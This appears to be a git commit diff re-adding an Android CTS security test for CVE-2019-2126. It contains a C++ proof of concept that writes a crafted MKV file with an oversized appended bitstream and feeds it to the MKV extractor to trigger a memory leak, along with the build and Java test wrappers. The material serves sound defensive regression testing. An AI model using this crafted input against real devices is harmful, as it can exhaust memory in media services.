Revert "Revert "[RESTRICT AUTOMERGE] CTS test for Android Security b/127702368""
This reverts commit 2dfcba1e4d4c9b825ec3cbe6478d3d394c9741f0.
Reason for revert: re-adding the test
Bug: 127702368
Bug: 135207514
Test: sts-tradefed
Change-Id: I351e0bf5cddbe297bc84675bd0f47e677302ffa5
diff --git a/hostsidetests/securitybulletin/AndroidTest.xml b/hostsidetests/securitybulletin/AndroidTest.xml
index 961d572..4734f98 100644
--- a/hostsidetests/securitybulletin/AndroidTest.xml
+++ b/hostsidetests/securitybulletin/AndroidTest.xml
@@ -271,6 +271,7 @@
<!--__________________-->
<!-- Bulletin 2020-11 -->
<!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+ <option name="push" value="CVE-2019-2126->/data/local/tmp/CVE-2019-2126" />
<option name="push" value="CVE-2020-0450->/data/local/tmp/CVE-2020-0450" />
<option name="push" value="CVE-2020-0409->/data/local/tmp/CVE-2020-0409" />
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2126/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2126/Android.bp
new file mode 100644
index 0000000..efd67b2
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2126/Android.bp
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2019-2126",
+
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils_track",
+ ],
+
+ shared_libs: [
+ "libstagefright",
+ "libutils",
+ "liblog",
+ ],
+
+ cflags: [
+ "-Wall",
+ "-Werror",
+ "-DCHECK_MEMORY_LEAK",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2126/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2126/poc.cpp
new file mode 100644
index 0000000..ab5c5f7
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2126/poc.cpp
@@ -0,0 +1,129 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <dlfcn.h>
+#include <sys/mman.h>
+#include <media/IMediaHTTPService.h>
+#include <media/DataSource.h>
+#include <media/stagefright/DataSourceFactory.h>
+#include <media/stagefright/MediaExtractor.h>
+#include "../includes/memutils_track.h"
+#include "../includes/common.h"
+
+unsigned char mkvDataStart[] = { 0x1A, 0x45, 0xDF, 0xA3, 0x10, 0x00, 0x00, 0x0A,
+ 0x42, 0x82, 0x10, 0x00, 0x00, 0x04, 0x77, 0x65, 0x62, 0x6D, 0x18, 0x53,
+ 0x80, 0x67, 0x10, 0xF4, 0x24, 0x49, 0x16, 0x54, 0xAE, 0x6B, 0x10, 0xF4,
+ 0x24, 0x41, 0xAE, 0x10, 0xF4, 0x24, 0x3C, 0xD7, 0x81, 0x01, 0x83, 0x81,
+ 0x01, 0xE0, 0x10, 0x00, 0x00, 0x03, 0xB0, 0x81, 0x01, 0x6D, 0x80, 0x10,
+ 0xF4, 0x24, 0x28, 0x62, 0x40, 0x10, 0xF4, 0x24, 0x22, 0x50, 0x34, 0x10,
+ 0xF4, 0x24, 0x19, 0x42, 0x54, 0x81, 0x01, 0x42, 0x55, 0x10, 0xF4, 0x24,
+ 0x00 };
+
+unsigned char mkvDataEnd[] = { 0x42, 0x55, 0x81, 0x61, 0x42, 0x54, 0x88, 0xFF,
+ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x50, 0x35, 0x80 };
+
+#define LIBNAME "/system/lib64/extractors/libmkvextractor.so"
+#define LIBNAME_APEX \
+ "/apex/com.android.media/lib64/extractors/libmkvextractor.so"
+
+#define LEAK_SIZE 16000000
+#define LEAK_DATA 0x61
+#define TMP_FILE "/data/local/tmp/temp_cve_2019_2126"
+
+using namespace android;
+
+bool is_tracking_required(size_t size) {
+ return (size == LEAK_SIZE);
+}
+
+int main() {
+
+#if _64_BIT
+ GetExtractorDef getDef = nullptr;
+ FILE* fp = fopen(TMP_FILE, "wb");
+ if (!fp) {
+ return EXIT_FAILURE;
+ }
+
+ char *appendArray = (char *) malloc(LEAK_SIZE);
+ memset(appendArray, LEAK_DATA, LEAK_SIZE * sizeof(char));
+
+ /* Write mkv stream */
+ fwrite(mkvDataStart, 1, sizeof(mkvDataStart), fp);
+
+ /* Append a bitstream which causes memory leak */
+ fwrite(appendArray, 1, LEAK_SIZE, fp);
+ fwrite(mkvDataEnd, 1, sizeof(mkvDataEnd), fp);
+ free((void *) appendArray);
+ fclose(fp);
+
+ void *libHandle = dlopen(LIBNAME, RTLD_NOW | RTLD_LOCAL);
+ if (!libHandle) {
+ libHandle = dlopen(LIBNAME_APEX, RTLD_NOW | RTLD_LOCAL);
+ if (!libHandle) {
+ remove(TMP_FILE);
+ return EXIT_FAILURE;
+ }
+ }
+
+ getDef = (GetExtractorDef) dlsym(libHandle, "GETEXTRACTORDEF");
+ if (!getDef) {
+ remove(TMP_FILE);
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+
+ sp < DataSource > dataSource = DataSourceFactory::CreateFromURI(NULL,
+ TMP_FILE);
+ if (dataSource == nullptr) {
+ remove(TMP_FILE);
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+
+ void *meta = nullptr;
+ void* creator = nullptr;
+ FreeMetaFunc freeMeta = nullptr;
+ float confidence;
+ if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V1) {
+ creator = (void*) getDef().u.v2.sniff(dataSource->wrap(), &confidence,
+ &meta, &freeMeta);
+ } else if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V2) {
+ creator = (void*) getDef().u.v3.sniff(dataSource->wrap(), &confidence,
+ &meta, &freeMeta);
+ }
+ if (!creator) {
+ remove(TMP_FILE);
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+
+ CMediaExtractor *ret = ((CreatorFunc) creator)(dataSource->wrap(), meta);
+ if (ret == nullptr) {
+ remove(TMP_FILE);
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+
+ if (meta != nullptr && freeMeta != nullptr) {
+ freeMeta(meta);
+ }
+
+ remove(TMP_FILE);
+ dlclose(libHandle);
+#endif /* _64_BIT */
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java b/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
index f140788..67215dc 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
@@ -45,6 +45,16 @@
******************************************************************************/
/**
+ * b/127702368
+ * Vulnerability Behaviour: EXIT_VULNERABLE (113)
+ */
+ @SecurityTest(minPatchLevel = "2019-08")
+ @Test
+ public void testPocCVE_2019_2126() throws Exception {
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-2126", null, getDevice());
+ }
+
+ /**
* b/144767096
* Vulnerability Behaviour: EXIT_VULNERABLE (113)
*/
